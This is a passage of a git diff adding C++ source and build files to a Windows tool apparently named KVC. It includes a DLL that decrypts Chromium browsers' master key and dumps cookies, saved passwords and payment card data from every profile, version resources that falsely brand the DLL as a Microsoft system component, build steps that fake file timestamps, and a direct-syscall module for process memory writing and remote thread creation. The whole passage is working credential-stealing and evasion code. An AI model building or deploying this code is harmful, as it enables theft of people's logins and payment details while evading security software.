SQLITE_OK) + { + sqlite3_close_v2(db); + return; + } + + // Execute pre-query setup if needed (e.g., for payment card CVCs) + void* preQueryState = nullptr; + std::shared_ptr>> cvcMap; + if (m_config.preQuerySetup) + { + cvcMap = m_config.preQuerySetup(db); + preQueryState = &cvcMap; + } + + // Extract and format data entries using custom formatters + std::vector jsonEntries; + while (sqlite3_step(stmt) == SQLITE_ROW) + { + if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState)) + { + jsonEntries.push_back(*jsonEntry); + } + } + + sqlite3_finalize(stmt); + sqlite3_close_v2(db); + + // Write extraction results to structured JSON output file + if (!jsonEntries.empty()) + { + fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() / + (m_config.outputFileName + ".json"); + + std::error_code ec; + fs::create_directories(outFilePath.parent_path(), ec); + if (ec) + { + m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path())); + return; + } + + std::ofstream out(outFilePath, std::ios::trunc); + if (!out) return; + + out << "[\n"; + for (size_t i = 0; i < jsonEntries.size(); ++i) + { + out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n"); + } + out << "\n]\n"; + + m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName + + " extracted to " + StringUtils::path_to_string(outFilePath)); + } + } + + private: + fs::path m_profilePath; + const Data::ExtractionConfig& m_config; + const std::vector& m_aesKey; + PipeLogger& m_logger; + fs::path m_baseOutputPath; + std::string m_browserName; + }; + + // Main orchestrator for browser security analysis operations + class SecurityOrchestrator + { + public: + explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName) : m_logger(lpcwstrPipeName) + { + if (!m_logger.isValid()) + { + throw std::runtime_error("Failed to connect to named pipe from orchestrator."); + } + ReadPipeParameters(); + } + + // Execute complete browser security analysis workflow + void Run() + { + BrowserManager browserManager; + const auto& browserConfig = browserManager.getConfig(); + m_logger.Log("[*] Security analysis process started for " + browserConfig.name); + + // Decrypt master key using COM elevation service + std::vector aesKey; + { + MasterKeyDecryptor keyDecryptor(m_logger); + fs::path localStatePath = browserManager.getUserDataRoot() / "Local State"; + aesKey = keyDecryptor.Decrypt(browserConfig, localStatePath); + } + m_logger.Log("[+] Decrypted AES Key: " + Utils::BytesToHexString(aesKey)); + + // Discover and process all browser profiles systematically + ProfileEnumerator enumerator(browserManager.getUserDataRoot(), m_logger); + auto profilePaths = enumerator.FindProfiles(); + + for (const auto& profilePath : profilePaths) + { + m_logger.Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename())); + + // Extract each data type (cookies, passwords, payments) using specialized handlers + for (const auto& dataConfig : Data::GetExtractionConfigs()) + { + DataExtractor extractor(profilePath, dataConfig, aesKey, m_logger, m_outputPath, browserConfig.name); + extractor.Extract(); + } + } + + m_logger.Log("[*] All profiles processed. Security analysis process finished."); + } + + private: + // Read configuration parameters from orchestrator via named pipe + void ReadPipeParameters() + { + char buffer[MAX_PATH + 1] = {0}; + DWORD bytesRead = 0; + + // Read verbose flag configuration + ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr); + + // Read output path configuration + ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr); + buffer[bytesRead] = '\0'; + m_outputPath = buffer; + } + + PipeLogger m_logger; + fs::path m_outputPath; + }; +} + +// Thread parameters for security module worker thread +struct ModuleThreadParams +{ + HMODULE hModule_dll; + LPVOID lpPipeNamePointerFromOrchestrator; +}; + +// Main worker thread for browser security analysis operations +DWORD WINAPI SecurityModuleWorker(LPVOID lpParam) +{ + auto thread_params = std::unique_ptr(static_cast(lpParam)); + + try + { + SecurityComponents::SecurityOrchestrator orchestrator(static_cast(thread_params->lpPipeNamePointerFromOrchestrator)); + orchestrator.Run(); + } + catch (const std::exception& e) + { + try + { + // Attempt to log error through pipe if communication channel is available + SecurityComponents::PipeLogger errorLogger(static_cast(thread_params->lpPipeNamePointerFromOrchestrator)); + if (errorLogger.isValid()) + { + errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what())); + } + } + catch (...) {} // Failsafe error handling if logging subsystem fails + } + + FreeLibraryAndExitThread(thread_params->hModule_dll, 0); + return 0; +} + +// Security module entry point - initializes browser security analysis operations +BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) +{ + if (reason == DLL_PROCESS_ATTACH) + { + DisableThreadLibraryCalls(hModule); + + auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved}; + if (!params) return TRUE; + + HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL); + if (hThread) + { + CloseHandle(hThread); + } + else + { + delete params; + } + } + return TRUE; +} \ No newline at end of file diff --git a/kvc/kvc_crypt.def b/kvc/kvc_crypt.def new file mode 100644 index 0000000..bd3d740 --- /dev/null +++ b/kvc/kvc_crypt.def @@ -0,0 +1,2 @@ +EXPORTS +InitializeSecurityContext diff --git a/kvc/kvc_crypt.rc b/kvc/kvc_crypt.rc new file mode 100644 index 0000000..844c79f --- /dev/null +++ b/kvc/kvc_crypt.rc @@ -0,0 +1,70 @@ +// Microsoft Visual C++ generated resource script. +// kvc_crypt DLL Resource File - Microsoft Corporation branding +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "winres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// English (United States) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) +LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US + +///////////////////////////////////////////////////////////////////////////// +// +// Version Information - Microsoft Corporation branding identical to kvc.exe +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 10,0,26200,8460 + PRODUCTVERSION 10,0,26200,8460 + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x40004L + FILETYPE 0x2L // DLL file type + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904b0" + BEGIN + VALUE "CompanyName", "Microsoft Corporation" + VALUE "FileDescription", "Windows System Component" + VALUE "FileVersion", "10.0.26200.8460" + VALUE "InternalName", "kvc_crypt.dll" + VALUE "LegalCopyright", " Microsoft Corporation. All rights reserved." + VALUE "OriginalFilename", "kvc_crypt.dll" + VALUE "ProductName", "Microsoft Windows Operating System" + VALUE "ProductVersion", "10.0.26200.8460" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x409, 1200 + END +END + +#endif // English (United States) resources +///////////////////////////////////////////////////////////////////////////// + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED \ No newline at end of file diff --git a/kvc/kvc_crypt.user b/kvc/kvc_crypt.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/kvc/kvc_crypt.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kvc/kvc_crypt.vcxproj b/kvc/kvc_crypt.vcxproj new file mode 100644 index 0000000..39aad17 --- /dev/null +++ b/kvc/kvc_crypt.vcxproj @@ -0,0 +1,92 @@ + + + + + Release + x64 + + + + 16.0 + {87654321-4321-4321-4321-123456789DEF} + chromedecrypt + 10.0 + + + + DynamicLibrary + false + v143 + true + Unicode + MultiThreaded + + + + + + + + + + false + $(SolutionDir)bin\x64\Release\ + $(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\ + kvc_crypt + + + + Level3 + true + true + false + NDEBUG;_WINDOWS;_USRDLL;BUILDING_DLL;%(PreprocessorDefinitions) + true + stdcpplatest + false + MultiThreaded + MaxSpeed + /utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions) + ole32.lib;oleaut32.lib;%(IgnoreSpecificDefaultLibraries) + + + Windows + true + true + false + ole32.lib;oleaut32.lib;shell32.lib;bcrypt.lib;crypt32.lib;winsqlite3.lib;%(AdditionalDependencies) + $(ProjectDir);%(AdditionalLibraryDirectories) + /OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro /NOIMPLIB /NOEXP %(AdditionalOptions) + kvc_crypt.def + /NODEFAULTLIB:msvcprt.lib %(AdditionalOptions) + + + powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}" + + + + 0x0409 + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kvc/kvc_pass.rc b/kvc/kvc_pass.rc new file mode 100644 index 0000000..38974e7 Binary files /dev/null and b/kvc/kvc_pass.rc differ diff --git a/kvc/kvc_pass.vcxproj b/kvc/kvc_pass.vcxproj new file mode 100644 index 0000000..e41179b --- /dev/null +++ b/kvc/kvc_pass.vcxproj @@ -0,0 +1,89 @@ + + + + + Release + x64 + + + + 16.0 + {12345678-1234-1234-1234-123456789ABC} + kvc_pass + 10.0 + + + + Application + false + v143 + true + Unicode + MultiThreaded + + + + + + + + + + + false + $(SolutionDir)bin\x64\Release\ + $(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\ + kvc_pass + + + + Level3 + true + true + false + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpplatest + false + MultiThreaded + MaxSpeed + /utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions) + + + Console + true + true + false + Rpcrt4.lib;version.lib;shell32.lib;%(AdditionalDependencies) + /OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro %(AdditionalOptions) + + + powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}" + + + 0x0409 + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kvc/kvc_pass.vcxproj.user b/kvc/kvc_pass.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/kvc/kvc_pass.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kvc/resource.h b/kvc/resource.h new file mode 100644 index 0000000..a18cb30 --- /dev/null +++ b/kvc/resource.h @@ -0,0 +1,24 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Unified resource header for kvc + PassExtractor integration + +// KVC Main Application Resources (100-199) +#define IDI_ICON1 101 +#define IDR_MAINICON 102 // Icon data containing embedded driver + +// PassExtractor/kvc_pass Resources (200-299) +#define IDI_PASSEXTRACTOR_ICON 201 +#define IDR_PASSEXTRACTOR_VERSION 202 + +// kvc_crypt DLL Resources (300-399) - currently unused due to NO_RESOURCES +// Reserved for future expansion + +// Next default values for new objects +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 210 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/kvc/syscalls.cpp b/kvc/syscalls.cpp new file mode 100644 index 0000000..41324a0 --- /dev/null +++ b/kvc/syscalls.cpp @@ -0,0 +1,257 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// syscalls.cpp +#include "syscalls.h" +#include +#include +#include +#include +#include + +SYSCALL_STUBS g_syscall_stubs{}; + +// External assembly trampoline for syscall ABI transition +extern "C" NTSTATUS AbiTramp(...); + +namespace +{ + // Syscall mapping structure for address-based sorting + struct SORTED_SYSCALL_MAPPING + { + PVOID pAddress; + LPCSTR szName; + }; + + // Comparator for syscall address sorting to determine SSNs + bool CompareSyscallMappings(const SORTED_SYSCALL_MAPPING &a, const SORTED_SYSCALL_MAPPING &b) + { + return reinterpret_cast(a.pAddress) < reinterpret_cast(b.pAddress); + } + + // Locate syscall gadget within function prologue for x64 architecture + PVOID FindSyscallGadget_x64(PVOID pFunction) + { + for (DWORD i = 0; i <= 64; ++i) + { + auto current_addr = reinterpret_cast(pFunction) + i; + + // Skip relative jump instructions + if (*current_addr == 0xE9) // jmp rel32 + { + i += 4; + continue; + } + + // Look for syscall; ret instruction sequence + if (*reinterpret_cast(current_addr) == 0x050F && *(current_addr + 2) == 0xC3) + { + return current_addr; + } + } + return nullptr; + } +} + +// Initialize direct syscall stubs for low-level system operations +BOOL InitializeSyscalls(bool is_verbose) +{ + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) + return FALSE; + + // Parse NTDLL export directory to enumerate Zw* functions + auto pDosHeader = reinterpret_cast(hNtdll); + auto pNtHeaders = reinterpret_cast(reinterpret_cast(hNtdll) + pDosHeader->e_lfanew); + PIMAGE_EXPORT_DIRECTORY pExportDir = reinterpret_cast(reinterpret_cast(hNtdll) + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + auto pNameRvas = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfNames); + auto pAddressRvas = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfFunctions); + auto pOrdinalRvas = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfNameOrdinals); + + // Collect and sort all Zw* functions for SSN determination + std::vector sortedSyscalls; + sortedSyscalls.reserve(pExportDir->NumberOfNames); + + for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) + { + LPCSTR szFuncName = reinterpret_cast(reinterpret_cast(hNtdll) + pNameRvas[i]); + if (strncmp(szFuncName, "Zw", 2) == 0) + { + PVOID pFuncAddress = reinterpret_cast(reinterpret_cast(hNtdll) + pAddressRvas[pOrdinalRvas[i]]); + sortedSyscalls.push_back({pFuncAddress, szFuncName}); + } + } + + std::sort(sortedSyscalls.begin(), sortedSyscalls.end(), CompareSyscallMappings); + + // Map of required syscalls with their parameter counts for security operations + struct CStringComparer + { + bool operator()(const char *a, const char *b) const { return std::strcmp(a, b) < 0; } + }; + const std::map, CStringComparer> required_syscalls = { + {"ZwAllocateVirtualMemory", {&g_syscall_stubs.NtAllocateVirtualMemory, 6}}, + {"ZwWriteVirtualMemory", {&g_syscall_stubs.NtWriteVirtualMemory, 5}}, + {"ZwReadVirtualMemory", {&g_syscall_stubs.NtReadVirtualMemory, 5}}, + {"ZwCreateThreadEx", {&g_syscall_stubs.NtCreateThreadEx, 11}}, + {"ZwFreeVirtualMemory", {&g_syscall_stubs.NtFreeVirtualMemory, 4}}, + {"ZwProtectVirtualMemory", {&g_syscall_stubs.NtProtectVirtualMemory, 5}}, + {"ZwOpenProcess", {&g_syscall_stubs.NtOpenProcess, 4}}, + {"ZwGetNextProcess", {&g_syscall_stubs.NtGetNextProcess, 5}}, + {"ZwTerminateProcess", {&g_syscall_stubs.NtTerminateProcess, 2}}, + {"ZwQueryInformationProcess", {&g_syscall_stubs.NtQueryInformationProcess, 5}}, + {"ZwUnmapViewOfSection", {&g_syscall_stubs.NtUnmapViewOfSection, 2}}, + {"ZwGetContextThread", {&g_syscall_stubs.NtGetContextThread, 2}}, + {"ZwSetContextThread", {&g_syscall_stubs.NtSetContextThread, 2}}, + {"ZwResumeThread", {&g_syscall_stubs.NtResumeThread, 2}}, + {"ZwFlushInstructionCache", {&g_syscall_stubs.NtFlushInstructionCache, 3}}, + {"ZwClose", {&g_syscall_stubs.NtClose, 1}}, + {"ZwOpenKey", {&g_syscall_stubs.NtOpenKey, 3}}, + {"ZwQueryValueKey", {&g_syscall_stubs.NtQueryValueKey, 6}}, + {"ZwEnumerateKey", {&g_syscall_stubs.NtEnumerateKey, 6}}}; + + // Resolve syscall stubs and gadgets for each required function + for (WORD i = 0; i < sortedSyscalls.size(); ++i) + { + const auto &mapping = sortedSyscalls[i]; + auto it = required_syscalls.find(mapping.szName); + if (it == required_syscalls.end()) + continue; + + PVOID pGadget = FindSyscallGadget_x64(mapping.pAddress); + if (pGadget) + { + it->second.first->pSyscallGadget = pGadget; + it->second.first->nArgs = it->second.second; + it->second.first->ssn = i; + } + } + + // Validate that all required syscalls were successfully resolved + for (const auto &pair : required_syscalls) + { + if (!pair.second.first->pSyscallGadget) + return FALSE; + } + + return TRUE; +} + +// Direct syscall implementations using assembly trampoline +NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect); +} + +NTSTATUS NtWriteVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtWriteVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten); +} + +NTSTATUS NtReadVirtualMemory_syscall(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtReadVirtualMemory, ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead); +} + +NTSTATUS NtCreateThreadEx_syscall(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateFlags, ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID AttributeList) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtCreateThreadEx, ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateFlags, ZeroBits, StackSize, MaximumStackSize, AttributeList); +} + +NTSTATUS NtFreeVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtFreeVirtualMemory, ProcessHandle, BaseAddress, RegionSize, FreeType); +} + +NTSTATUS NtProtectVirtualMemory_syscall(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtProtectVirtualMemory, ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect); +} + +NTSTATUS NtOpenProcess_syscall(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtOpenProcess, ProcessHandle, DesiredAccess, ObjectAttributes, ClientId); +} + +NTSTATUS NtGetNextProcess_syscall(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, ULONG HandleAttributes, ULONG Flags, PHANDLE NewProcessHandle) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtGetNextProcess, ProcessHandle, DesiredAccess, HandleAttributes, Flags, NewProcessHandle); +} + +NTSTATUS NtTerminateProcess_syscall(HANDLE ProcessHandle, NTSTATUS ExitStatus) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtTerminateProcess, ProcessHandle, ExitStatus); +} + +NTSTATUS NtQueryInformationProcess_syscall(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtQueryInformationProcess, ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength); +} + +NTSTATUS NtUnmapViewOfSection_syscall(HANDLE ProcessHandle, PVOID BaseAddress) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtUnmapViewOfSection, ProcessHandle, BaseAddress); +} + +NTSTATUS NtGetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtGetContextThread, ThreadHandle, pContext); +} + +NTSTATUS NtSetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtSetContextThread, ThreadHandle, pContext); +} + +NTSTATUS NtResumeThread_syscall(HANDLE ThreadHandle, PULONG SuspendCount) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtResumeThread, ThreadHandle, SuspendCount); +} + +NTSTATUS NtFlushInstructionCache_syscall(HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtFlushInstructionCache, ProcessHandle, BaseAddress, NumberOfBytesToFlush); +} + +NTSTATUS NtClose_syscall(HANDLE Handle) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtClose, Handle); +} + +NTSTATUS NtOpenKey_syscall(PHANDLE KeyHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtOpenKey, KeyHandle, DesiredAccess, ObjectAttributes); +} + +NTSTATUS NtQueryValueKey_syscall(HANDLE KeyHandle, PUNICODE_STRING_SYSCALLS ValueName, KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, PVOID KeyValueInformation, ULONG Length, PULONG ResultLength) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtQueryValueKey, KeyHandle, ValueName, KeyValueInformationClass, KeyValueInformation, Length, ResultLength); +} + +NTSTATUS NtEnumerateKey_syscall(HANDLE KeyHandle, ULONG Index, KEY_INFORMATION_CLASS KeyInformationClass, PVOID KeyInformation, ULONG Length, PULONG ResultLength) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtEnumerateKey, KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength); +} \ No newline at end of file diff --git a/kvc/syscalls.h b/kvc/syscalls.h new file mode 100644 index 0000000..7e37f31 --- /dev/null +++ b/kvc/syscalls.h @@ -0,0 +1,217 @@ +// syscalls.h +#ifndef SYSCALLS_H +#define SYSCALLS_H + +#include + +#ifndef NTSTATUS +using NTSTATUS = LONG; +#endif + +#ifndef STATUS_BUFFER_TOO_SMALL +#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L) +#endif + +#ifndef STATUS_BUFFER_OVERFLOW +#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L) +#endif + +#ifndef OBJ_CASE_INSENSITIVE +#define OBJ_CASE_INSENSITIVE 0x00000040L +#endif + +#ifndef REG_SZ +#define REG_SZ 1 +#endif + +#ifndef REG_EXPAND_SZ +#define REG_EXPAND_SZ 2 +#endif + +struct SYSCALL_ENTRY +{ + PVOID pSyscallGadget; + UINT nArgs; + WORD ssn; +}; + +struct SYSCALL_STUBS +{ + SYSCALL_ENTRY NtAllocateVirtualMemory; + SYSCALL_ENTRY NtWriteVirtualMemory; + SYSCALL_ENTRY NtReadVirtualMemory; + SYSCALL_ENTRY NtCreateThreadEx; + SYSCALL_ENTRY NtFreeVirtualMemory; + SYSCALL_ENTRY NtProtectVirtualMemory; + SYSCALL_ENTRY NtOpenProcess; + SYSCALL_ENTRY NtGetNextProcess; + SYSCALL_ENTRY NtTerminateProcess; + SYSCALL_ENTRY NtQueryInformationProcess; + SYSCALL_ENTRY NtUnmapViewOfSection; + SYSCALL_ENTRY NtGetContextThread; + SYSCALL_ENTRY NtSetContextThread; + SYSCALL_ENTRY NtResumeThread; + SYSCALL_ENTRY NtFlushInstructionCache; + SYSCALL_ENTRY NtClose; + SYSCALL_ENTRY NtOpenKey; + SYSCALL_ENTRY NtQueryValueKey; + SYSCALL_ENTRY NtEnumerateKey; +}; + +struct UNICODE_STRING_SYSCALLS +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +}; +using PUNICODE_STRING_SYSCALLS = UNICODE_STRING_SYSCALLS *; + +struct OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING_SYSCALLS ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +}; +using POBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES *; + +enum PROCESSINFOCLASS +{ + ProcessBasicInformation = 0, + ProcessImageFileName = 27 +}; + +struct PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PVOID PebBaseAddress; + ULONG_PTR AffinityMask; + LONG BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +}; +using PPROCESS_BASIC_INFORMATION = PROCESS_BASIC_INFORMATION *; + +struct PEB_LDR_DATA +{ + BYTE Reserved1[8]; + PVOID Reserved2[3]; + LIST_ENTRY InMemoryOrderModuleList; +}; +using PPEB_LDR_DATA = PEB_LDR_DATA *; + +struct RTL_USER_PROCESS_PARAMETERS +{ + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING_SYSCALLS ImagePathName; + UNICODE_STRING_SYSCALLS CommandLine; +}; +using PRTL_USER_PROCESS_PARAMETERS = RTL_USER_PROCESS_PARAMETERS *; + +struct PEB +{ + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE BitField; + BYTE Reserved3[4]; + PVOID Mutant; + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; +}; +using PPEB = PEB *; + +struct CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; +}; +using PCLIENT_ID = CLIENT_ID *; + +enum KEY_VALUE_INFORMATION_CLASS +{ + KeyValueBasicInformation = 0, + KeyValueFullInformation, + KeyValuePartialInformation +}; + +struct KEY_VALUE_PARTIAL_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; +}; +using PKEY_VALUE_PARTIAL_INFORMATION = KEY_VALUE_PARTIAL_INFORMATION *; + +struct KEY_BASIC_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +}; +using PKEY_BASIC_INFORMATION = KEY_BASIC_INFORMATION *; + +enum KEY_INFORMATION_CLASS +{ + KeyBasicInformation = 0 +}; + +inline void InitializeObjectAttributes(POBJECT_ATTRIBUTES p, PUNICODE_STRING_SYSCALLS n, ULONG a, HANDLE r, PVOID s) +{ + p->Length = sizeof(OBJECT_ATTRIBUTES); + p->RootDirectory = r; + p->Attributes = a; + p->ObjectName = n; + p->SecurityDescriptor = s; + p->SecurityQualityOfService = nullptr; +} + +#ifndef KEY_QUERY_VALUE +#define KEY_QUERY_VALUE (0x0001) +#endif + +#ifndef KEY_READ +#define KEY_READ (0x20019) +#endif + +#ifndef KEY_WOW64_64KEY +#define KEY_WOW64_64KEY (0x0100) +#endif + +#ifndef KEY_WOW64_32KEY +#define KEY_WOW64_32KEY (0x0200) +#endif + +extern "C" +{ + extern SYSCALL_STUBS g_syscall_stubs; + + [[nodiscard]] BOOL InitializeSyscalls(bool is_verbose); + + NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG); + NTSTATUS NtWriteVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); + NTSTATUS NtReadVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); + NTSTATUS NtCreateThreadEx_syscall(PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, LPVOID); + NTSTATUS NtFreeVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG); + NTSTATUS NtProtectVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG); + NTSTATUS NtOpenProcess_syscall(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID); + NTSTATUS NtGetNextProcess_syscall(HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE); + NTSTATUS NtTerminateProcess_syscall(HANDLE, NTSTATUS); + NTSTATUS NtQueryInformationProcess_syscall(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); 